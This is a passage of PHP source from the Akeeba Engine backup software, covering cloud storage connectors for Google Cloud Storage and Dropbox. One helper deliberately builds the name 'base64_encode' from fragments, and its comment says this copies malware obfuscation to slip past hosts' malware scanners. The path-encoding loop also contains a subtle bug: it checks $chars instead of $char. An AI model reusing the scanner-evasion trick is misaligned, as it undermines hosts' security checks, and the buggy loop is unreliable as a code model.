		if (urlencode($path) == $path)
		{
			return $path;
		}

		$safeChars = [
			'-', '.', '_', '~', '!', '$', '&', '\'', '(', ')', '*', '+', ',', ';', '=', ':', '@',
			'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
			'u', 'v', 'w', 'x', 'y', 'z',
			'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
			'U', 'V', 'W', 'X', 'Y', 'Z',
		];
		$ret       = '';
		$chars     = str_split($path);

		foreach ($chars as $char)
		{
			if (in_array($chars, $safeChars))
			{
				$ret .= $char;

				continue;
			}

			if ($char == ' ')
			{
				$ret .= '%20';

				continue;
			}

			$ret .= urlencode($char);
		}

		return $ret;
	}

	/**
	 * Utility method to base sixty four encode data and then URL encode the result in a format that's compatible with
	 * Google Cloud.
	 *
	 * @param   string  $data  The data to encode
	 *
	 * @return  string
	 */
	private function bsfUrlEncode($data)
	{
		/**
		 * Working around hosts with broken malware scanners. Ironically, the best way for benign software like ours to
		 * do that is by following the same code obscuring techniques as legitimate malware. You know, of the kind that
		 * these hosts' malware scanners fail to catch.
		 */
		$funcName   = substr('baseball', 0, 4);
		$funcName   .= (string) (4 * 4 * 4);
		$funcName   .= '_' . substr('length', 1, 2);
		$funcName   .= substr('barcode', -4);
		$bsfEncData = call_user_func_array($funcName, [$data]);

		return rtrim(strtr($bsfEncData, '+/', '-_'), '=');
	}

	/**
	 * Returns a pre-calculated JWT assertion which you need to retrieve an access token from Google. If the assertion
	 * does not exist it will be calculated.
	 *
	 * @param   string  $serviceAccountEmail  The Google Cloud Service Account (fake) email address
	 * @param   string  $privateKey           The Google Cloud Service Account private key in PEM format
	 *
	 * @return  string  The JWT assertion
	 */
	private function getJWTAssertion($serviceAccountEmail, $privateKey)
	{
		if (empty($this->jwtAssertion))
		{
			// Base Sixty Four Encoded JSON header
			$jwtHeader = $this->bsfUrlEncode(json_encode([
				"alg" => "RS256",
				"typ" => "JWT",
			]));

			/**
			 * Base Sixty Four Encoded JSON claim set.
			 *
			 * If you need multiple scopes they must be SPACE-DELIMITED in the scope field below. Yes, SPACE, NOT COMMA.
			 * For valid scopes see https://developers.google.com/identity/protocols/googlescopes#storagev1
			 */
			$now      = time();
			$jwtClaim = $this->bsfUrlEncode(json_encode([
				"iss"   => $serviceAccountEmail,
				"scope" => "https://www.googleapis.com/auth/devstorage.full_control",
				"aud"   => "https://www.googleapis.com/oauth2/v4/token",
				"exp"   => $now + 3600,
				"iat"   => $now,
			]));

			// The base string for the signature: {Encoded JSON header}.{Encoded JSON claim set}
			openssl_sign(
				$jwtHeader . "." . $jwtClaim,
				$jwtSig,
				$privateKey,
				"sha256WithRSAEncryption"
			);

			$jwtSign = $this->bsfUrlEncode($jwtSig);

			//{Base64url encoded JSON header}.{Base64url encoded JSON claim set}.{Base64url encoded signature}
			$this->jwtAssertion = $jwtHeader . "." . $jwtClaim . "." . $jwtSign;
		}

		return $this->jwtAssertion;
	}

	/**
	 * Normalizes the name of a Google Storage storage class. If an unsupported class is provided it returns null.
	 *
	 * This is compatible with how the rest of this API implementation expects the storage class to be provided. If it's
	 * a string it's passed straight to the Google Storage JSON API. If it's null we do not pass a storage class,
	 * letting Google Storage use the storage class of the bucket.
	 *
	 * @param   null|string  $storageClass  The Google Storage storage class to normalize.
	 *
	 * @return  string|null
	 * @since   7.0.0.a1
	 *
	 * @see     https://cloud.google.com/storage/docs/storage-classes#available_storage_classes
	 */
	private function normalizeStorageClass($storageClass)
	{
		if (empty($storageClass))
		{
			return null;
		}

		$storageClass = strtolower($storageClass);

		if (in_array($storageClass, ['standard', 'nearline', 'coldline']))
		{
			return $storageClass;
		}

		return null;
	}
}
PK     \Rfڂ  ڂ  ;  vendor/akeeba/engine/engine/Postproc/Connector/Dropbox2.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Dropbox2\Exception\APIError;
use Akeeba\Engine\Postproc\Connector\Dropbox2\Exception\cURLError;
use Akeeba\Engine\Postproc\Connector\Dropbox2\Exception\InvalidJSON;
use Akeeba\Engine\Postproc\Connector\Dropbox2\Exception\UnexpectedHTTPStatus;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Exception;
use RuntimeException;

/**
 * Dropbox (API v2) post-processing engine for Akeeba Engine
 *
 * @package Akeeba\Engine\Postproc\Connector
 */
class Dropbox2
{
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The root URL for the Dropbox RPC API, ref https://www.dropbox.com/developers/documentation/http
	 */
	public const rootUrl = 'https://api.dropboxapi.com/2/';

	/**
	 * The root URL for the Dropbox Content API, ref https://www.dropbox.com/developers/documentation/http
	 */
	public const contentRootUrl = 'https://content.dropboxapi.com/2/';

	/**
	 * The URL of the helper script which is used to authenticate you with Dropbox
	 */
	public const helperUrl = 'https://www.akeeba.com/oauth2/dropbox2.php';

	/**
	 * Refresh the access token proactively when it is within this many seconds of expiring. Dropbox access tokens are
	 * short-lived (typically 4 hours); refreshing a little before expiry prevents the token from lapsing in the middle
	 * of a long-running backup, which is the cause of intermittent, hard-to-reproduce upload/download failures.
	 */
	private const tokenExpirationThreshold = 300;

	/**
	 * The refresh token used to get a new access token for OneDrive
	 *
	 * @var string
	 */
	protected $refreshToken = '';

	/**
	 * The access token for connecting to Dropbox
	 *
	 * @var   string
	 */
	private $accessToken = '';

	/**
	 * Download ID to use with the helper URL
	 *
	 * @var string
	 */
	private $dlid = '';

	/**
	 * Default cURL options
	 *
	 * @var array
	 */
	private $defaultOptions = [
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => 2,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
	];

	private $namespaceId = '';

	private $refreshUrl = '';

	/**
	 * UNIX timestamp at which the current access token expires. 0 means "unknown" — e.g. a token supplied from saved
	 * configuration whose lifetime we have not learned yet. It is populated from the `expires_in` value Dropbox returns
	 * whenever the token is refreshed.
	 *
	 * @var int
	 */
	private $tokenExpiration = 0;

	/**
	 * Public constructor
	 *
	 * @param   string  $accessToken  The access token for accessing Dropbox
	 * @param   string  $dlid         The akeeba.com Download ID, used whenever you try to refresh the token
	 */
	public function __construct($accessToken, $refreshToken, $dlid, $refreshUrl = '')
	{
		$this->accessToken  = $accessToken;
		$this->refreshToken = $refreshToken;
		$this->dlid         = $dlid;
		$this->refreshUrl   = $refreshUrl ?: self::helperUrl;
	}

	/**
	 * Return information about the current user's account
	 *
	 * @return  array  See https://www.dropbox.com/developers/documentation/http#documentation-users-get_current_account
	 */
	public function getCurrentAccount()
	{
		$relativeUrl = 'users/get_current_account';

		$result = $this->fetch('POST', self::rootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/json; charset=utf-8',
			],
		], 'null');

		return $result;
	}

	/**
	 * Get the raw listing of a folder
	 *
	 * @param   string  $path              The relative path of the folder to list its contents
	 * @param   bool    $recursive         Produce a recursive listing? [false]
	 * @param   bool    $includeMediaInfo  Include media information in the metadata? [false]
	 *
	 * @return  array  See https://www.dropbox.com/developers/documentation/http#documentation-files-list_folder
	 */
	public function getRawContents($path = '/', $recursive = false, $includeMediaInfo = false)
	{
		$relativeUrl = 'files/list_folder';

		$path = $this->normalizePath($path);

		$params = [
			'path'               => $path,
			'recursive'          => $recursive ? true : false,
			'include_media_info' => $includeMediaInfo ? true : false,
		];

		$paramsForPost = json_encode($params);

		$result = $this->fetch('POST', self::rootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/json; charset=utf-8',
			],
		], $paramsForPost);

		return $result;
	}

	/**
	 * Get the raw listing of a folder
	 *
	 * @param   string  $cursor  The cursor recieved from getRawContents
	 *
	 * @return  array  See
	 *                 https://www.dropbox.com/developers/documentation/http#documentation-files-list_folder-continue
	 */
	public function getRawContentsContinue($cursor)
	{
		$relativeUrl = 'files/list_folder/continue';

		$params = [
			'cursor' => $cursor,
		];

		$paramsForPost = json_encode($params);

		$result = $this->fetch('POST', self::rootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/json; charset=utf-8',
			],
		], $paramsForPost);

		return $result;
	}

	/**
	 * Get the processed listing of a folder
	 *
	 * @param   string  $path  The relative path of the folder to list its contents
	 *
	 * @return  array  Two arrays under keys folders and files. Each array's key is the file/folder name, the value is
	 *                 the Dropbox Folder ID (folder) or size in bytes (file)
	 */
	public function listContents($path = '/')
	{
		$result = [];

		$rawContents = $this->getRawContents($path);
		$result      = $rawContents['entries'];

		while ($rawContents['has_more'])
		{
			$cursor      = $rawContents['cursor'];
			$rawContents = $this->getRawContentsContinue($cursor);
			$result      = array_merge($result, $rawContents['entries']);
		}

		$return = [
			'files'   => [],
			'folders' => [],
		];

		foreach ($result as $item)
		{
			if ($item['.tag'] == 'folder')
			{
				$return['folders'][$item['name']] = $item['id'];

				continue;
			}

			$return['files'][$item['name']] = $item['size'];
		}

		return $return;
	}

	/**
	 * Return the metadata for a file or folder
	 *
	 * @param   string  $path              The relative path of the file/folder to fetch the metadata for
	 * @param   bool    $includeMediaInfo  Include media information in the metadata? [false]
	 *
	 * @return  array  See https://www.dropbox.com/developers/documentation/http#documentation-files-get_metadata
	 */
	public function getMetadata($path, $includeMediaInfo = false)
	{
		$relativeUrl = 'files/get_metadata';

		$path = $this->normalizePath($path);

		$params = [
			'path'               => $path,
			'include_media_info' => $includeMediaInfo ? true : false,
		];

		$paramsForPost = json_encode($params);

		$result = $this->fetch('POST', self::rootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/json; charset=utf-8',
			],
		], $paramsForPost);

		return $result;
	}

	/**
	 * Delete a file. See https://www.dropbox.com/developers/documentation/http#documentation-files-delete
	 *
	 * @param   string  $path         The relative path to the file to delete
	 * @param   bool    $failOnError  Throw exception if the deletion fails? Default true.
	 *
	 * @return  bool  True on success
	 *
	 * @throws  Exception
	 */
	public function delete($path, $failOnError = true)
	{
		$relativeUrl = 'files/delete_v2';
		$path        = $this->normalizePath($path);

		$params        = [
			'path' => $path,
		];
		$paramsForPost = json_encode($params);

		try
		{
			$result = $this->fetch('POST', self::rootUrl, $relativeUrl, [
				'headers' => [
					'Content-Type: application/json; charset=utf-8',
				],
			], $paramsForPost);
		}
		catch (Exception $e)
		{
			if (!$failOnError)
			{
				return false;
			}

			throw $e;
		}

		return true;
	}

	/**
	 * Download a remote file
	 *
	 * @param   string  $path       The path of the file in Dropbox
	 * @param   string  $localFile  The absolute filesystem path where the file will be downloaded to
	 */
	public function download($path, $localFile)
	{
		$relativeUrl = 'files/download';
		$path        = $this->normalizePath($path);

		$params        = [
			'path' => $path,
		];
		$paramsForPost = json_encode($params);

		$this->fetch('GET', self::contentRootUrl, $relativeUrl, [
			'headers'   => [
				'Content-Type:', // WARNING: Content-Type MUST be empty!
				'Dropbox-API-Arg: ' . $paramsForPost,
			],
			'file'      => $localFile,
			'file_mode' => 'wb',
		]);
	}

	/**
	 * Get a shared download URL for the remote file with the specified path to Dropbox root. This kind of URL is
	 * suitable for sharing with third parties. It doesn't the (secret) authentication token.
	 *
	 * @param   string  $path  Relative path to Dropbox root
	 *
	 * @return  string  Shared URL to download the file's contents
	 *
	 * @see     https://www.dropbox.com/developers/documentation/http#documentation-sharing-create_shared_link
	 */
	public function getSharedUrl($path, $expires = null)
	{
		$relativeUrl = 'sharing/create_shared_link_with_settings';
		$path        = $this->normalizePath($path);

		$settings = [
			'requested_visibility' => 'public',
		];

		$params        = [
			'path'     => $path,
			'settings' => $settings,
		];
		$paramsForPost = json_encode($params);

		$result = $this->fetch('POST', self::rootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/json; charset=utf-8',
			],
		], $paramsForPost);

		return $result['url'];
	}

	/**
	 * Returns an fully qualified, authenticated URL from a relative URL. This URL is NOT meant for sharing! It contains
	 * the (secret) authentication token!
	 *
	 * @param   string  $path  The URL to apply
	 *
	 * @return  string
	 */
	public function getAuthenticatedUrl($path, $retry = true)
	{
		$path = $this->normalizePath($path);

		// Use Dropbox's documented files/get_temporary_link endpoint. It returns a short-lived (~4 hour) direct-download
		// URL that needs NO access token. This is robust and secure: unlike embedding the bearer token as a query
		// parameter on the content endpoint (which Dropbox rejects intermittently once the token is near expiry, and
		// which would leak the token into browser history, server logs and referrers), the temporary link keeps working
		// for its whole lifetime regardless of what happens to the access token afterwards.
		try
		{
			$result = $this->fetch('POST', self::rootUrl, 'files/get_temporary_link', [
				'headers' => [
					'Content-Type: application/json; charset=utf-8',
				],
			], json_encode(['path' => $path]));
		}
		catch (RuntimeException $e)
		{
			// The access token may have expired between minting and use. Refresh it and retry once.
			if ($retry)
			{
				$this->refreshToken();

				return $this->getAuthenticatedUrl($path, false);
			}

			throw $e;
		}

		if (empty($result['link']))
		{
			throw new RuntimeException('Could not obtain a temporary download link from Dropbox', 500);
		}

		return $result['link'];
	}

	/**
	 * Creates a new multipart upload session and returns its upload URL
	 *
	 * @return  string  The upload session ID
	 *
	 * @see     https://www.dropbox.com/developers/documentation/http#documentation-files-upload_session-start
	 */
	public function createUploadSession()
	{
		$relativeUrl = 'files/upload_session/start';

		$info = $this->fetch('POST', self::contentRootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/octet-stream',
			],
		]);

		return $info['session_id'];
	}

	/**
	 * Finish an already started upload session and commits the file to a specific location in Dropbox
	 *
	 * @param   string  $sessionId  The upload session ID
	 * @param   string  $path       Relative path of the file in Dropbox
	 * @param   int     $offset     The file size that's been already uploaded
	 * @param   bool    $mute       If true, the Dropbox desktop/mobile app will NOT notify users of the uploaded file
	 *
	 * @return  array  See
	 *                 https://www.dropbox.com/developers/documentation/http#documentation-files-upload_session-finish
	 */
	public function finishUploadSession($sessionId, $path, $offset, $mute = false)
	{
		$relativeUrl = 'files/upload_session/finish';
		$path        = $this->normalizePath($path);

		$params        = [
			'cursor' => [
				'session_id' => $sessionId,
				'offset'     => $offset,
			],
			'commit' => [
				'path'       => $path,
				'mode'       => 'overwrite',
				'autorename' => false,
				'mute'       => $mute ? true : false,
			],
		];
		$paramsForPost = json_encode($params);

		return $this->fetch('POST', self::contentRootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/octet-stream',
				'Dropbox-API-Arg: ' . $paramsForPost,
			],
		]);
	}

	/**
	 * Upload a part
	 *
	 * @param   string  $sessionId  The upload session URL, see createUploadSession
	 * @param   string  $localFile  Absolute filesystem path of the source file
	 * @param   int     $from       Starting byte to begin uploading, default is 0 (start of file)
	 * @param   int     $length     Chunk size in bytes, default 10Mb, must NOT be over 60Mb!  MUST be a multiple of
	 *                              320Kb.
	 *
	 * @return  void
	 */
	public function uploadPart($sessionId, $localFile, $from = 0, $length = 10485760)
	{
		$relativeUrl = 'files/upload_session/append_v2';

		clearstatcache();
		$totalSize = filesize($localFile);
		$to        = $from + $length - 1;

		if ($to > ($totalSize - 1))
		{
			$to = $totalSize - 1;
		}

		$contentLength = $to - $from + 1;

		if ($contentLength <= 0)
		{
			return;
		}

		$params        = [
			'cursor' => [
				'session_id' => $sessionId,
				'offset'     => $from,
			],
			'close'  => false,
		];
		$paramsForPost = json_encode($params);

		$additional = [
			'headers'  => [
				'Content-Type: application/octet-stream',
				'Dropbox-API-Arg: ' . $paramsForPost,
			],
			'no-parse' => true,
		];

		$fp = @fopen($localFile, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Could not open $localFile for reading", 500);
		}

		fseek($fp, $from);
		$data = fread($fp, $contentLength);
		$this->conditionalFileClose($fp);

		$this->fetch('POST', self::contentRootUrl, $relativeUrl, $additional, $data);
	}

	/**
	 * Upload a file using multipart uploads. Useful for files over 100Mb and up to 2Gb.
	 *
	 * @param   string  $path       Relative path in Dropbox
	 * @param   string  $localFile  Absolute filesystem path of the source file
	 * @param   int     $partSize   Part size in bytes, default 10Mb.
	 * @param   bool    $mute       If true, the Dropbox desktop/mobile app will NOT notify users of the uploaded file
	 *
	 * @return  array  See
	 *                 https://www.dropbox.com/developers/documentation/http#documentation-files-upload_session-finish
	 */
	public function resumableUpload($path, $localFile, $partSize = 10485760, $mute = false)
	{
		clearstatcache();
		$totalSize = filesize($localFile);

		$sessionId = $this->createUploadSession();
		$from      = 0;

		while (true)
		{
			$this->uploadPart($sessionId, $localFile, $from, $partSize);

			$from += $partSize;

			if ($from >= $totalSize)
			{
				break;
			}
		}

		return $this->finishUploadSession($sessionId, $path, $totalSize, $mute);
	}

	/**
	 * Automatically decides which upload method to use to upload a file to Dropbox. This method will return when the
	 * entire file has been uploaded. If you want to implement staggered uploads use the createUploadSession and
	 * uploadPart methods.
	 *
	 * @param   string  $path       The remote path relative to Dropbox root
	 * @param   string  $localFile  The absolute local filesystem path
	 *
	 * @return  array  See
	 *                 https://www.dropbox.com/developers/documentation/http#documentation-files-upload_session-finish
	 */
	public function upload($path, $localFile)
	{
		clearstatcache();
		$filesize = @filesize($localFile);

		// Use resumable uploads with up to 1Mb parts
		return $this->resumableUpload($path, $localFile, 1048576);
	}

	/**
	 * Make a directory (including all of its parent directories) if the directory doesn't exist. If it already exists
	 * nothing happens. If it doesn't exist and cannot be created an exception is raised.
	 *
	 * @param   string  $path  The path to create
	 *
	 * @return  array  See https://www.dropbox.com/developers/documentation/http#documentation-files-create_folder
	 */
	public function makeDirectory($path)
	{
		$path = $this->normalizePath($path);

		try
		{
			$ownMetaData = $this->getMetadata($path);
		}
		catch (Exception $e)
		{
			$ownMetaData = null;
		}

		// Empty path means that it already exists (it's the root)
		if (empty($path))
		{
			return [$ownMetaData];
		}

		// Get the parent path and the directory components of the path
		$parentPath = '/';
		$folder     = $path;

		if (strpos($path, '/') !== false)
		{
			$pathParts  = explode('/', $path);
			$folder     = array_pop($pathParts);
			$parentPath = implode('/', $pathParts);
		}

		// Does this path exist in the parent path?
		$mustCreate = false;

		try
		{
			if (is_null($ownMetaData))
			{
				$parentMetaData = $this->getMetadata($parentPath);
			}
		}
		catch (Exception $e)
		{
			// The parent folder doesn't exist. Create it!
			$this->makeDirectory($parentPath);
		}

		if (!is_null($ownMetaData))
		{
			return $ownMetaData;
		}

		// We have to create a new folder $folder in parent folder $parentPath.
		$relativeUrl   = 'files/create_folder_v2';
		$params        = [
			'path'       => $path,
			'autorename' => false,
		];
		$paramsForPost = json_encode($params);

		return $this->fetch('POST', self::rootUrl, $relativeUrl, [
			'headers' => [
				'Content-Type: application/json',
			],
		], $paramsForPost);
	}

	/**
	 * Get the namespace ID.
	 *
	 * This is used for Dropbox for Business only.
	 *
	 * @see     https://www.dropbox.com/developers/reference/namespace-guide
	 *
	 * @return  string
	 */
	public function getNamespaceId()
	{
		return $this->namespaceId;
	}

	/**
	 * Set the namespace ID. Set to empty to use the user's personal space (default behavior).
	 *
	 * This is used for Dropbox for Business only.
	 *
	 * @param   string  $namespaceId  The namespace ID. Get it with $this->getCurrentAccount
	 *
	 * @return  void
	 * @see     https://www.dropbox.com/developers/reference/namespace-guide
	 *
	 */
	public function setNamespaceId($namespaceId)
	{
		$this->namespaceId = $namespaceId;
	}

	/**
	 * Try to ping Dropbox, refresh the token if it's expired and return the refresh results.
	 *
	 * If no refresh was required 'needs_refresh' will be false.
	 *
	 * If refresh was required 'needs_refresh' will be true and the rest of the keys will be as returned by Dropbox.
	 *
	 * If the refresh failed you'll get a RuntimeException.
	 *
	 * @param   bool  $forceRefresh  Set to true to forcibly refresh the tokens
	 *
	 * @return  array
	 *
	 * @throws  RuntimeException
	 */
	public function ping($forceRefresh = false)
	{
		// Initialization
		$response = [
			'needs_refresh' => false,
		];

		if (!$forceRefresh)
		{
			if (!empty($this->tokenExpiration))
			{
				// We know when the token expires: refresh PROACTIVELY once it is at — or within a safety margin of —
				// expiry, so it cannot lapse mid-operation. This avoids the race where a "test" call succeeds but the
				// token then expires moments later during the real request (the cause of intermittent failures).
				$response['needs_refresh'] = (time() + self::tokenExpirationThreshold) >= $this->tokenExpiration;
			}
			else
			{
				// We do NOT know this token's expiry (e.g. it was supplied from saved configuration). Fall back to
				// probing the API with it and refreshing only if that probe fails.
				try
				{
					$this->getCurrentAccount();
				}
				catch (RuntimeException $e)
				{
					$response['needs_refresh'] = true;
				}
			}
		}

		// If there is no need to refresh the tokens, return
		if (!$response['needs_refresh'] && !$forceRefresh)
		{
			return $response;
		}

		$refreshResponse = $this->refreshToken();

		return array_merge($response, $refreshResponse);
	}

	/**
	 * Refresh the access token.
	 *
	 * @return array|string  The result coming from OneDrive
	 */
	public function refreshToken()
	{
		$refreshUrl = $this->getRefreshUrl();

		$refreshResponse = $this->fetch('GET', '', $refreshUrl);

		$this->refreshToken = $refreshResponse['refresh_token'] ?? $this->refreshToken;
		$this->accessToken  = $refreshResponse['access_token'] ?? $this->accessToken;

		// Record when the freshly minted access token will expire so ping() can refresh it proactively next time.
		if (isset($refreshResponse['expires_in']))
		{
			$this->tokenExpiration = time() + (int) $refreshResponse['expires_in'];
		}

		$refreshResponse['refresh_token']    = $this->refreshToken;
		$refreshResponse['access_token']     = $this->accessToken;
		$refreshResponse['token_expiration'] = $this->tokenExpiration;

		return $refreshResponse;
	}

	/**
	 * Get the UNIX timestamp at which the current access token expires (0 if unknown).
	 *
	 * @return  int
	 */
	public function getTokenExpiration()
	{
		return $this->tokenExpiration;
	}

	/**
	 * Restore a previously persisted access-token expiry timestamp, so ping() can refresh proactively without first
	 * having to probe the API. Pass 0 to mark the expiry as unknown.
	 *
	 * @param   int  $tokenExpiration  UNIX timestamp at which the access token expires.
	 *
	 * @return  void
	 */
	public function setTokenExpiration($tokenExpiration)
	{
		$this->tokenExpiration = (int) $tokenExpiration;
	}

	/**
	 * Execute an API call
	 *
	 * @param   string  $method        The HTTP method
	 * @param   string  $baseUrl       The base URL. Use one of self::rootUrl or self::contentRootUrl
	 * @param   string  $relativeUrl   The relative URL to ping
	 * @param   array   $additional    Additional parameters
	 * @param   mixed   $explicitPost  Passed explicitly to POST requests if set, otherwise $additional is passed.
	 *
	 * @return  array
	 * @throws  RuntimeException
	 *
	 */
	protected function fetch($method, $baseUrl, $relativeUrl, array $additional = [], $explicitPost = null)
	{
		// Get full URL, if required
		$url = $relativeUrl;

		if (substr($relativeUrl, 0, 6) != 'https:')
		{
			$url = $baseUrl . ltrim($relativeUrl, '/');
		}

		// Should I expect a specific header?
		$expectHttpStatus = false;

		if (isset($additional['expect-status']))
		{
			$expectHttpStatus = $additional['expect-status'];
			unset($additional['expect-status']);
		}

		// Am I told to not parse the result?
		$noParse = false;

		if (isset($additional['no-parse']))
		{
			$noParse = $additional['no-parse'];
			unset ($additional['no-parse']);
		}

		// Am I told not to follow redirections?
		$followRedirect = true;

		if (isset($additional['follow-redirect']))
		{
			$followRedirect = $additional['follow-redirect'];
			unset ($additional['follow-redirect']);
		}

		// Initialise and execute a cURL request
		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		// Get the default options array
		$options = $this->defaultOptions;

		// Try to use at least TLS 1.2. Requires cURL 7.34.0 or later.
		if (defined('CURLOPT_SSLVERSION') && defined('CURL_SSLVERSION_TLSv1_2'))
		{
			$options[CURLOPT_SSLVERSION] = CURL_SSLVERSION_TLSv1_2;
		}

		// Do I have explicit cURL options to add?
		if (isset($additional['curl-options']) && is_array($additional['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($additional['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}
		}

		// Set up custom headers
		$headers = [];

		if (isset($additional['headers']))
		{
			$headers = $additional['headers'];
			unset ($additional['headers']);
		}

		// Add the authorization header
		$headers[] = 'Authorization: Bearer ' . $this->accessToken;

		// Add the Dropbox-API-Path-Root header
		$apiRootHeader = '{".tag": "home"}';

		if (!empty($this->namespaceId))
		{
			$apiRootHeader = sprintf('{".tag": "namespace_id", "namespace_id": "%s"}', $this->namespaceId);
		}

		$headers[] = 'Dropbox-API-Path-Root: ' . $apiRootHeader;

		// Apply the headers
		$options[CURLOPT_HTTPHEADER] = $headers;

		// Handle files
		$file     = null;
		$fp       = null;
		$fileMode = null;

		if (isset($additional['file']))
		{
			$file = $additional['file'];
			unset ($additional['file']);
		}

		if (isset($additional['file_mode']))
		{
			$fileMode = $additional['file_mode'];
			unset ($additional['file_mode']);
		}

		if (!isset($additional['fp']) && !empty($file))
		{
			if (is_null($fileMode))
			{
				$fileMode = ($method == 'GET') ? 'w' : 'r';
			}

			$fp = @fopen($file, $fileMode);
		}
		elseif (isset($additional['fp']))
		{
			$fp = $additional['fp'];
			unset($additional['fp']);
		}

		// Set up additional options
		if ($method == 'GET' && $fp)
		{
			$options[CURLOPT_RETURNTRANSFER] = false;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $fp;

			if (!$expectHttpStatus)
			{
				$expectHttpStatus = 200;
			}
		}
		elseif ($method == 'POST')
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
			// This is required for some broken servers, e.g. SiteGround
			else
			{
				$options[CURLOPT_POSTFIELDS] = '';
			}
		}
		elseif ($method == 'PUT' && $fp)
		{
			$options[CURLOPT_PUT]    = true;
			$options[CURLOPT_INFILE] = $fp;

			// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
			if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
			{
				$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
			}

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($fp));
			}

			fseek($fp, 0);
		}
		else // Any other HTTP method, e.g. DELETE
		{
			$options[CURLOPT_CUSTOMREQUEST] = $method;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}

		// Set the cURL options at once
		@curl_setopt_array($ch, $options);

		// Set the follow location flag
		if ($followRedirect)
		{
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		}

		// Execute and parse the response
		$response     = curl_exec($ch);
		$errNo        = curl_errno($ch);
		$error        = curl_error($ch);
		$lastHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		// Close open file pointers
		if ($fp)
		{
			$this->conditionalFileClose($fp);

			if ($expectHttpStatus && ($expectHttpStatus != $lastHttpCode))
			{
				if ($file && ($method == 'GET'))
				{
					@unlink($file);
				}

				throw new UnexpectedHTTPStatus($lastHttpCode);
			}
		}

		// Did we have a cURL error?
		if ($errNo)
		{
			throw new cURLError($errNo, $error);
		}

		if ($expectHttpStatus)
		{
			if ($expectHttpStatus == $lastHttpCode)
			{
				return [];
			}
		}

		if ($noParse)
		{
			return $response;
		}

		// Parse the response
		$originalResponse = $response;
		$response         = json_decode($response, true);

		// Did we get invalid JSON data?
		if (!$response)
		{
			throw new InvalidJSON("Invalid JSON Data: $originalResponse");
		}

		unset($originalResponse);

		// Did we get an error response?
		if (isset($response['error']) && is_array($response['error']))
		{
			$decodedError = $this->decodeError($response['error']);

			throw new APIError($decodedError['code'], $decodedError['description'], 500);
		}

		// Did we get an error response (from the helper script)?
		if (isset($response['error']))
		{
			$error            = $response['error'];
			$errorDescription = $response['error_description'] ?? 'No error description provided';

			throw new APIError($error, $errorDescription, 500);
		}

		return $response;
	}

	/**
	 * Normalize the path of a resource inside the Dropbox account
	 *
	 * @param   string  $relativePath  The relative path to the Dropbox root
	 *
	 * @return  string
	 */
	protected function normalizePath($relativePath)
	{
		/**
		 * Some users enter the base path as /foo/bar/ instead of /foo/bar. This results in relative paths in the form
		 * of /foo/bar//baz.bat instead of /foo/bar/baz.bat. While the former doesn't cause a problem uploading(!) it
		 * causes the download to fail with a 400 error and the signed URL to fail entirely with a Dropbox-side error
		 * message. Therefore we need to replace // with / in the $relativePath.
		 */
		$relativePath = str_replace('//', '/', $relativePath);

		// Remove trailing slashes from the relative path
		$relativePath = trim($relativePath, '/');

		// An empty path is normalized to an empty string.
		if (empty($relativePath))
		{
			$path = '';

			return $path;
		}

		// The path MUST start with a forward slash
		$path = '/' . $relativePath;

		/**
		 * If the path is just a forward slash OR a double forward slash then it's the root which MUST be normalized to
		 * an empty string. Normally the check for the double forward slash should always be false (unless someone
		 * screwed up the code above).
		 */
		if (($path == '/') || $path == '//')
		{
			$path = '';
		}

		return $path;
	}

	/**
	 * Decodes the error messages returned by Dropbox
	 *
